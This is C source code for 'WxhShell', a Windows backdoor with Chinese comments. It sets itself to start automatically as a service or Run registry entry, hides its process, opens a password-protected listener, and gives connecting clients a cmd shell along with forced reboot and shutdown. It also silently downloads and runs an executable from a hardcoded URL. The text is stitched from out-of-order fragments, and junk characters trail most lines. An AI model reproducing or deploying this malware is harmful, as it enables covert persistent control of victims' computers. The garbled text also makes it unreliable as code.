    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]qPrXuS/  
    else { J7Y lmi  
    closesocket(wsh);  Bl1^\[#  
    ExitThread(0); 4u}jkd$]*  
    } o_@6R"|  
    break; W#sCvI@   
    } *Q XUy  
  // 获取shell C=zc6C,  
  case 's': { XRx^4]c  
    CmdShell(wsh); Yj'/ p  
    closesocket(wsh); iR39lOr  
    ExitThread(0); \>N"{T  
    break; L2}p<?f  
  } n{8v^x  
  // 退出 z\zqmW6  
  case 'x': { 2[QyH'"^E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .jK,6't^  
    CloseIt(wsh); %SKJ#b  
    break; og)f?4  
    } U3OXO 1  
  // 离开 9J4gDw4<  
  case 'q': { 55K(]%t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l1uv]t <  
    closesocket(wsh); $_orxu0W  
    WSACleanup(); O Zn40"`  
    exit(1); mF`%Z~}b  
    break; ';iLk[  
        } gH<A.5 xy  
  } ^P~NE#p5  
  } R^+,D  
FwaYp\z  
  // 提示信息 yD:}&!\}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t1rAS.z&  
} + X0db  
  } @ ?CEi#-  
0Ma3  
  return; KnxK9  
} W>cHZ. _  
Y'eE({)<K  
// shell模块句柄 s_RUb  
int CmdShell(SOCKET sock) rOA{8)jIa*  
{  Ds@nuQ  
STARTUPINFO si; w3E#v&"=Y  
ZeroMemory(&si,sizeof(si)); -![>aqWmj1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; </-aG[Fi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a"bael  
PROCESS_INFORMATION ProcessInfo; #.W^7}H  
char cmdline[]="cmd"; ?f&O4H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gv}J"anD  
  return 0; }Jm~b9j  
} %z "${ zw  
SsfHp  
// 自身启动模式 +5xk6RP   
int StartFromService(void) I6lWB(H!u  
{ (>M? iB  
typedef struct Gq0Q}[53  
{ I|/\L|vo  
  DWORD ExitStatus; _4-UM2o;  
  DWORD PebBaseAddress; ;!Q}g19C  
  DWORD AffinityMask; kDWMget$  
  DWORD BasePriority; 3Xl!Z^W  
  ULONG UniqueProcessId; +V;@)-   
  ULONG InheritedFromUniqueProcessId; rGUu K0L&  
}   PROCESS_BASIC_INFORMATION; -W'T3_  
AoFxho  
PROCNTQSIP NtQueryInformationProcess; <BX'Owbs!O  
ukwO%JAr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `w K6B5>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w7`09oJm  
WNcJ710k27  
  HANDLE             hProcess; 3u@=]0ZN  
  PROCESS_BASIC_INFORMATION pbi; z 8y.@<6  
y41,T&ja  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mT&?DZ9<  
  if(NULL == hInst ) return 0; 5"mH6%d :8  
Un^3%=;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qi=v}bp&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eYD-8*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6O| rI>D  
CA]u3bf~  
  if (!NtQueryInformationProcess) return 0; Cu`ty] -'  
GB8>R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y@2v/O,\  
  if(!hProcess) return 0; ;Yu|LaI\<m  
,ocAB;K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i>{.Y};  
1^AG/w  
  CloseHandle(hProcess); DM=`hyf(v  
(Q[(]dfc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cd'`rs}3  
if(hProcess==NULL) return 0; ,}a'h4C  
&b9bb{y_$K  
HMODULE hMod; 5h@5.-}  
char procName[255]; _qvzZ6  
unsigned long cbNeeded; Sgq" 3(+%,  
|DkK7gw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M&J$9X  
f <pJ_  
  CloseHandle(hProcess); r O-=):2  
K_o[m!:jU  
if(strstr(procName,"services")) return 1; // 以服务启动 u5rHQA0%  
YlJ_$Q[  
  return 0; // 注册表启动 ZIs=%6""&  
} Apbgm[m|{  
RhD   
// 主模块 >bbvQb +j  
int StartWxhshell(LPSTR lpCmdLine) P&5kO;ia  
{ Yx':~  
  SOCKET wsl; n# "N"6s  
BOOL val=TRUE; PsO>&Te2  
  int port=0; 3e ?J#;  
  struct sockaddr_in door; e_3($pj  
5#B M  
  if(wscfg.ws_autoins) Install(); Zr|z!S?aSC  
W,bu=2K6  
port=atoi(lpCmdLine); bTc^ huP  
MwTouEGGgA  
if(port<=0) port=wscfg.ws_port; $VnPs!a  
qc"PTv0q  
  WSADATA data; Kdr} 7#c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IXC2w *'m  
dLtmG:II  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M@<r8M]G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a,eJO??  
  door.sin_family = AF_INET; ES ?6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bsdT>|gW  
  door.sin_port = htons(port); G0b##-.'^  
X3R:^ff\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DyM<aT  
closesocket(wsl); h {VdW}g  
return 1; DSL3+%KF#  
} q$7/X;A  
Rv Uw,=  
  if(listen(wsl,2) == INVALID_SOCKET) { Wp(Rw4j  
closesocket(wsl); KS Q*HO)5  
return 1; Ws;X;7tS  
} 8c5=Px2\  
  Wxhshell(wsl); +@qIDUiF3  
  WSACleanup(); D8\9nHUD`  
0;tu}]jnN  
return 0; >Y=qSg>Ik  
o(eh.  
} _|wnmeL*  
tOxTiaa=  
// 以NT服务方式启动 04#<qd&ob@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tl L\&n.$  
{ 7=a=@D[  
DWORD   status = 0; 4a zqH;i  
  DWORD   specificError = 0xfffffff; y1#*c$ O  
sGO+O$J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i0'g$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Q$e%VJ(c1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L3Ivm :  
  serviceStatus.dwWin32ExitCode     = 0; `*y%[J,I#  
  serviceStatus.dwServiceSpecificExitCode = 0; 3v>w$6  
  serviceStatus.dwCheckPoint       = 0; ih(Al<IS  
  serviceStatus.dwWaitHint       = 0; +c' n,O~3  
/ 5y _ <  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V>& 1;n  
  if (hServiceStatusHandle==0) return; Yd]  
J6gn!  
status = GetLastError(); B_S))3   
  if (status!=NO_ERROR)  V0!kvIv  
{ 0.0r?T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]e(\<R6Gf  
    serviceStatus.dwCheckPoint       = 0; TTD#ovo'  
    serviceStatus.dwWaitHint       = 0; w}0rDWuR[  
    serviceStatus.dwWin32ExitCode     = status; (g0U v.*  
    serviceStatus.dwServiceSpecificExitCode = specificError; *r|Zbxf(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g"v6UZ\  
    return; _*-b0}T   
  } +zZ]Txb(  
5#mHWBGd7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wQ?Z y;/S  
  serviceStatus.dwCheckPoint       = 0; 2Ws'3Jz  
  serviceStatus.dwWaitHint       = 0; IAMtMO^L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H $mZ?  
} ~toR)=Yv  
iz3Hoj  
// 处理NT服务事件,比如:启动、停止 uLr-!T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8\rAx P}=  
{ m'WGK`WIm  
switch(fdwControl) BFZ\\rN`  
{ ?I"FmJ;  
case SERVICE_CONTROL_STOP: ^+x,211f  
  serviceStatus.dwWin32ExitCode = 0; ]-jaIvM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5? *Iaw  
  serviceStatus.dwCheckPoint   = 0; B/dJj#  
  serviceStatus.dwWaitHint     = 0; 9qm'qx  
  { "r HPcp"m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ZlzS`XF7  
  } ?N]G;%3/  
  return; W/.Wp|C}K3  
case SERVICE_CONTROL_PAUSE: 2/ejU,S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y=zs6HaS  
  break; "qoJIwl#q  
case SERVICE_CONTROL_CONTINUE: IwR=@Ne8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B$MHn?  
  break; UaBNoD  
case SERVICE_CONTROL_INTERROGATE: 8i Ew;I_  
  break; f('##pND@  
}; BO0Y#fs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  K0Lc~n/  
} (dP9`Na]  
2XyC;RWJ%  
// 标准应用程序主函数 DI[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y mm*p,`  
{ _ygdv\^Tet  
DTl&V|h$  
// 获取操作系统版本 .J?RaH{i  
OsIsNt=GetOsVer(); ik5"9b-\<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Awe'MGp%  
x\pygzQ/  
  // 从命令行安装 7%W@Hr,%F  
  if(strpbrk(lpCmdLine,"iI")) Install(); ihD|e&  
'![VA8  
  // 下载执行文件 0%qM`KZC  
if(wscfg.ws_downexe) { |-xKH.'n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *~^%s +b  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5")BCA  
} vy5I#q(k  
g{JH5IZ~  
if(!OsIsNt) { [6)vD@  
// 如果时win9x,隐藏进程并且设置为注册表启动 99~ZZG  
HideProc(); QB*n [(?  
StartWxhshell(lpCmdLine); 4KY@y?H g  
} e?WI=Og  
else P_(< ?0l  
  if(StartFromService()) -^t&U] g  
  // 以服务方式启动 TIxlLOs  
  StartServiceCtrlDispatcher(DispatchTable); |;R-q8  
else =z'533C  
  // 普通方式启动 m Gx{Vpt  
  StartWxhshell(lpCmdLine); 4MRN{W6  
mxICQ>s b  
return 0; 1-PFM-  
} W=4|ahk$  
k[\JT[Mp  
.jl^"{@6  
!X 0 (4^  
===========================================  /UtSZ(  
]0g1P-&,U  
N@8tf@BT   
^9XAWj"  
2ZKy7p0/  
:-~x~ah-  
" KJ_L>$ ]*  
9g7Ok9dF  
#include <stdio.h> 8KWhXF  
#include <string.h> >Sm#-4B-  
#include <windows.h> Ca0t}`<S  
#include <winsock2.h> i8.OM*[f  
#include <winsvc.h> RY*yj&?w [  
#include <urlmon.h> e r"gPW  
`3.bux~  
#pragma comment (lib, "Ws2_32.lib") 2G$-:4B  
#pragma comment (lib, "urlmon.lib") 9HAK  
EHm:&w  
#define MAX_USER   100 // 最大客户端连接数 2>im'x 5  
#define BUF_SOCK   200 // sock buffer MJ.Kor  
#define KEY_BUFF   255 // 输入 buffer Yy_mX}\x  
:s|xa u=  
#define REBOOT     0   // 重启 m^4Ojik  
#define SHUTDOWN   1   // 关机 Ps~)l#gue  
bj FND]p?w  
#define DEF_PORT   5000 // 监听端口 $B`bsJ  
)T@+"Pw8t  
#define REG_LEN     16   // 注册表键长度 \p\rPf Y{>  
#define SVC_LEN     80   // NT服务名长度 dq3"L!0u  
aW b5w  
// 从dll定义API /_r{7Gq.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a2H_8iQ!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q]-r'pYr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )==Qo/N:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K555z+,'e  
; .hTfxE0  
// wxhshell配置信息 ]v.Yt/&C{  
struct WSCFG { /!-ypIY  
  int ws_port;         // 监听端口 e_Q(l'f  
  char ws_passstr[REG_LEN]; // 口令 AmcBu"  
  int ws_autoins;       // 安装标记, 1=yes 0=no "H}ae7@  
  char ws_regname[REG_LEN]; // 注册表键名 #DcK{|ty  
  char ws_svcname[REG_LEN]; // 服务名 cQh=Mri]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s$VLVT*6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 op|x~Thf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Do;rY\sY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }j,G)\g#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n7d`J_%s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yj9 Ad*.  
+ID% (:  
}; kYkck]|  
u!cA_,  
// default Wxhshell configuration [?#-JIZ3T  
struct WSCFG wscfg={DEF_PORT, p fg>H  
    "xuhuanlingzhe", IeBb#Qedz  
    1, .T}S[`Yx5  
    "Wxhshell", dNz!2mbO  
    "Wxhshell", |R(rb-v  
            "WxhShell Service", r'u[>uY  
    "Wrsky Windows CmdShell Service", 8C2!Wwz`J8  
    "Please Input Your Password: ", VB{G% !}  
  1,  Fr9_!f  
  "http://www.wrsky.com/wxhshell.exe", FBrJVaF  
  "Wxhshell.exe" )F:UkS  
    }; eXMl3Lxf  
C-ipxL"r  
// 消息定义模块 HO;,Ya^l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }pv<<7}|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U KdCG.E9^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jI807g+  
char *msg_ws_ext="\n\rExit."; vC5y]1QDd  
char *msg_ws_end="\n\rQuit."; eh$T 3_#q  
char *msg_ws_boot="\n\rReboot..."; q.PXO3T  
char *msg_ws_poff="\n\rShutdown..."; 8 9f{8B]z  
char *msg_ws_down="\n\rSave to "; mKBPIQ+ZS  
1PT0<C-  
char *msg_ws_err="\n\rErr!"; kam \dn04  
char *msg_ws_ok="\n\rOK!"; !,PoH  
a5%IjgQ&z  
char ExeFile[MAX_PATH]; T8a!"lPP7  
int nUser = 0; (1Ii86EP  
HANDLE handles[MAX_USER]; !6d`e"\K  
int OsIsNt; z@J;sz  
lF!Iu.MM 9  
SERVICE_STATUS       serviceStatus; WhR'MkfL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ca8.8uHY\  
pc<A ,?  
// 函数声明 % ck/ Z  
int Install(void); <2 S?QgR,  
int Uninstall(void); 8BwJWxBQ  
int DownloadFile(char *sURL, SOCKET wsh); :KJZo,\  
int Boot(int flag); b `.h+=3  
void HideProc(void); JV9Ft,xk  
int GetOsVer(void); X.!|#FWb+  
int Wxhshell(SOCKET wsl); e5fzV.'5  
void TalkWithClient(void *cs); $9O%,U@  
int CmdShell(SOCKET sock); :[7.YQ   
int StartFromService(void); GFtE0IQ  
int StartWxhshell(LPSTR lpCmdLine); L<TL6  
_M7NL^B&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wmG[*a_H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x$aFJ CL  
/|{~GD +A&  
// 数据结构和表定义 Po82nKAh  
SERVICE_TABLE_ENTRY DispatchTable[] = .(2ui~ed  
{ $qj||zA  
{wscfg.ws_svcname, NTServiceMain}, Md,KW#  
{NULL, NULL} *>p#/'_E  
}; # :3~I  
Ie8jBf -  
// 自我安装 fQOh%i9n5  
int Install(void) :i:M7}r  
{ IEW[VU)  
  char svExeFile[MAX_PATH]; ?AJE*=b  
  HKEY key; >pn5nn1a  
  strcpy(svExeFile,ExeFile); tXnD>H YV  
 6,;7iA]  
// 如果是win9x系统,修改注册表设为自启动 FrryZe=  
if(!OsIsNt) { @^kt[$X;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KN9e""  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Acib<Mi2!-  
  RegCloseKey(key); 5 MD=o7O^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p-o!K\o-1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L5yv}:.U  
  RegCloseKey(key); \4|o5,+(@  
  return 0; |cUBS)[)X  
    } iZ-"l3) D  
  } ZJ|'$=lR  
} > H(o=39s  
else { vL"[7'  
fbK`A?5K  
// 如果是NT以上系统,安装为系统服务 LdM9k(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F[ 5\ x0  
if (schSCManager!=0) gT~Yn~~b  
{ ;nB.f.e`  
  SC_HANDLE schService = CreateService 1Qz1 Ehz>  
  ( $q~:%pQv  
  schSCManager, s>^$: wzu  
  wscfg.ws_svcname, !q_fcd^c  
  wscfg.ws_svcdisp, 3fWL}]{<a  
  SERVICE_ALL_ACCESS, h\i>4^]X.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^w|apI~HSE  
  SERVICE_AUTO_START, c/G]r|k  
  SERVICE_ERROR_NORMAL, Y^@Nvt$<K  
  svExeFile, 1WW`%  
  NULL, R s)Nz< d  
  NULL, dLn Md0  
  NULL, 9!sR}  
  NULL, Ki:.^  
  NULL , HE +|y#  
  ); IDpW5Dc  
  if (schService!=0) _Q1[t9P"  
  { MKN],l N  
  CloseServiceHandle(schService); 9xm'0 '  
  CloseServiceHandle(schSCManager); d2e4=/ A%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zr.6J*&!  
  strcat(svExeFile,wscfg.ws_svcname); `upxM0gc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <..|:0Q&~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1v^eXvY  
  RegCloseKey(key); \E<t'\>@X  
  return 0; [10;Mg  
    } UI>?"b6 L  
  } uY6|LTK&x  
  CloseServiceHandle(schSCManager); APA:K9jD  
} ;<=B I!  
} ~'9>jpnw  
Ev7fvz =  
return 1; .j)f'<;%  
} b:w {7  
ZNEWUt{+;^  
// 自我卸载 ~Z#jIG<?g  
int Uninstall(void) g/ict 2!  
{ 9cm9;  
  HKEY key; D8''q%  
V 2WcPI^  
if(!OsIsNt) { *To 5\|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KLn.vA.  
  RegDeleteValue(key,wscfg.ws_regname); ;{k`nv_6  
  RegCloseKey(key); G*;6cV19  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eJ23$VM+9  
  RegDeleteValue(key,wscfg.ws_regname);  qg+bh  
  RegCloseKey(key); p7pJ90~E  
  return 0; (wRJ"Nwu  
  } &gL &@';,  
} 8T#tB,<fFW  
} \%FEQa0u  
else { ,{br6*E  
GDW$R`2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J!GWP:b3  
if (schSCManager!=0) 1/H9(2{L  
{ XPt<k&o1,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Do&/+Ssnu  
  if (schService!=0) PnKgUJoa0  
  { _26<}&]b*  
  if(DeleteService(schService)!=0) { =R  <X!@  
  CloseServiceHandle(schService); 6HW8mXQh<h  
  CloseServiceHandle(schSCManager); 4/Yk;X[jk  
  return 0; 5fdB<& 9  
  } hZ obFf  
  CloseServiceHandle(schService); G-)Q*p{i|  
  } %;r0,lN|II  
  CloseServiceHandle(schSCManager); AGe\PCn-  
} tJQFhY  
} M;{btu^a  
c9eLNVM  
return 1; l?N|Gj;ZFZ  
} 7jZ=+2  
zNs8yMnFr  
// 从指定url下载文件 s]"NqwIPK  
int DownloadFile(char *sURL, SOCKET wsh) -Pr1 r  
{ K; +w'/{  
  HRESULT hr; 6jKZ.S+s)  
char seps[]= "/"; GuV.7&!x  
char *token; {iI" Lt  
char *file; X7*i -v@  
char myURL[MAX_PATH]; VqeK~,}  
char myFILE[MAX_PATH]; : ;nvqbd  
 J(  
strcpy(myURL,sURL); $#k8xb  
  token=strtok(myURL,seps); ]d}U68$T+  
  while(token!=NULL) %`cP|k  
  { GYX/G>-r  
    file=token; mct$.{~  
  token=strtok(NULL,seps); 'TF5CNX  
  } 0 2lI-xHe  
Vk/!_)  
GetCurrentDirectory(MAX_PATH,myFILE); ^rmcyy8;g  
strcat(myFILE, "\\"); 'V=i;2mB*  
strcat(myFILE, file); :q.g#:1s  
  send(wsh,myFILE,strlen(myFILE),0); tR,&|?0  
send(wsh,"...",3,0); ;w/|5 ;{A;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NT^m.o~4  
  if(hr==S_OK) ._uXK[c7P  
return 0; "lFS{7  
else ^11y8[[  
return 1; 6i6m*=h  
9Dq^x&z(  
} P,|%7'?Y  
]>33sb S6  
// 系统电源模块 5u<F0$qHc  
int Boot(int flag) [=})^t?8  
{ vbo:,]T<A  
  HANDLE hToken; 9\_^"5l  
  TOKEN_PRIVILEGES tkp; ne=?'e4  
,co~@a@9  
  if(OsIsNt) { &X^ -|7~N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /YP,Wfd%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {xFgPtCM  
    tkp.PrivilegeCount = 1; zT\nj&7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [ p+]H?(A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (V:z7  
if(flag==REBOOT) {  =V- ^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8gQg#^,(t  
  return 0; V!Px975P  
} ScgaWJ  
else { gH+s)6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |4J ;s7us  
  return 0; :6 , `M,  
} Z?Cl5o&l b  
  } 1%v!8$  
  else { 8QYP\7}o  
if(flag==REBOOT) { jf`QoK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )(?,1>k`Z  
  return 0; jvI!BZ  
} ^/0c`JG!x  
else { AG3iKk??T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m#\I&(l+  
  return 0; &tNnW   
} )Vn(J#s  
} KI@OEy  
}#u.Of`6"  
return 1; @>r3=s.Q  
} gQ < >S  
* LaL('.>  
// win9x进程隐藏模块 g[D(]t\#x  
void HideProc(void) Y<4%4>a  
{ -x~4@~  
X]Aobtz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N)kZ2|oD  
  if ( hKernel != NULL ) kB2]Z}   
  { P}2i[m.*,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3 #8bG(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); St1Ny,$yU  
    FreeLibrary(hKernel); w$XqxI/&  
  } >@g+%K]  
SBf8Ipe  
return; 9!``~]G2  
} _~l*p"PL<  
u8w4e!rKo6  
// 获取操作系统版本 `X["Bgk$!T  
int GetOsVer(void) MO_-7,.y  
{ %kHeU=  
  OSVERSIONINFO winfo; 0eGz|J*7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wM-I*<L>  
  GetVersionEx(&winfo); 5~,/VV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'ie+/O@G  
  return 1; ?~%Go  
  else qZV.~F+  
  return 0; 0^0Q0A  
} U#qs^f7R  
!Ojf9 6is  
// 客户端句柄模块 (bX77 Xr  
int Wxhshell(SOCKET wsl) ]O^C'GzZ  
{ ^69ZX61vt  
  SOCKET wsh; !08\w@  
  struct sockaddr_in client; >FR;Ux~a  
  DWORD myID; A-&'/IHR"B  
)YtdU(^J$  
  while(nUser<MAX_USER) 6UK}?+r~  
{ ~7G@S&<PK(  
  int nSize=sizeof(client); 33M10 1X{6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SHAC(3o /e  
  if(wsh==INVALID_SOCKET) return 1; LX!MDZz  
"f Ni3 <x]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S [$Os7  
if(handles[nUser]==0) 3pk=c-x  
  closesocket(wsh); `W*b?e| H1  
else Knjg`f  
  nUser++; u ? }T)B  
  } hhM?I$t:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R7 WGc[  
"PK`Ca@`v  
  return 0; |z+K]R8_  
} <`f~Z|/-_(  
oEuV&m|yX  
// 关闭 socket :L6,=#  
void CloseIt(SOCKET wsh) j><8V Qx  
{ b9%G"?~Zz  
closesocket(wsh); X!AD]sK  
nUser--; DNyU]+\L[l  
ExitThread(0); >Oz~j>jL  
} ?BEO(;'  
xoYaL  
// 客户端请求句柄 G@N-+  
void TalkWithClient(void *cs) >.76<fni  
{ smJ#.I6/L  
<5xlP:Cx  
  SOCKET wsh=(SOCKET)cs; O-N@HZC  
  char pwd[SVC_LEN]; tLD(%s_  
  char cmd[KEY_BUFF]; Lj,!0 25  
char chr[1];  |4_[wX r  
int i,j; h{Zd, 9H  
 ds#om2)  
  while (nUser < MAX_USER) { 9i?Q=Vuc~<  
U9/>}Ni%3G  
if(wscfg.ws_passstr) { <y!(X"n`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .szc-r{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /7o{%~O  
  //ZeroMemory(pwd,KEY_BUFF); H!81Pq~  
      i=0; V49[XX  
  while(i<SVC_LEN) { c+bOp 05o-  
6a%dq"5 +  
  // 设置超时 FRR`<do5$,  
  fd_set FdRead; +vSp+X1E  
  struct timeval TimeOut; \G~<O071  
  FD_ZERO(&FdRead); fJdTVs@  
  FD_SET(wsh,&FdRead); {Rv0@)P$  
  TimeOut.tv_sec=8; XZew$Om[  
  TimeOut.tv_usec=0; *;0Ods+IcY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +FGw)>g8'm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5/f"dX  
gNj~o^6|@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <`P7^ 'z!  
  pwd=chr[0]; px~:'U  
  if(chr[0]==0xd || chr[0]==0xa) { *$Tz g!/  
  pwd=0; .1@8rVp7  
  break; TEEt]R-y  
  } ndE"v"_H  
  i++; upc-Qvk  
    } #FwTV@  
h)o5j-M>4  
  // 如果是非法用户,关闭 socket G,,7.%eib=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -h`[w:  
} iYR`|PJi  
6z3`*B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ./r#\X)dc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8IQqDEY^  
-NL=^O$G  
while(1) { SbX#$; ks~  
^dP]3D1 @  
  ZeroMemory(cmd,KEY_BUFF); Tsc2;I  
5@/hqOiu  
      // 自动支持客户端 telnet标准   2$=I+8IL  
  j=0; p8bAz  
  while(j<KEY_BUFF) { /@xL {  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .{t]Mc  
  cmd[j]=chr[0]; 1!"iN~  
  if(chr[0]==0xa || chr[0]==0xd) { T{B\1|2w  
  cmd[j]=0; YX,xC-37y  
  break; mzH3Q564  
  } :3 p&h[M  
  j++; @Z[XV"w|  
    } U+7!Vpq  
C<"b99\2`  
  // 下载文件 \1[v-hvK  
  if(strstr(cmd,"http://")) { )ipTm{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AY)R2> fW%  
  if(DownloadFile(cmd,wsh)) z.6I6IfL\L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z-;I,\Y%  
  else (! "+\KY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rpn&.#KS  
  } f`Wces=5  
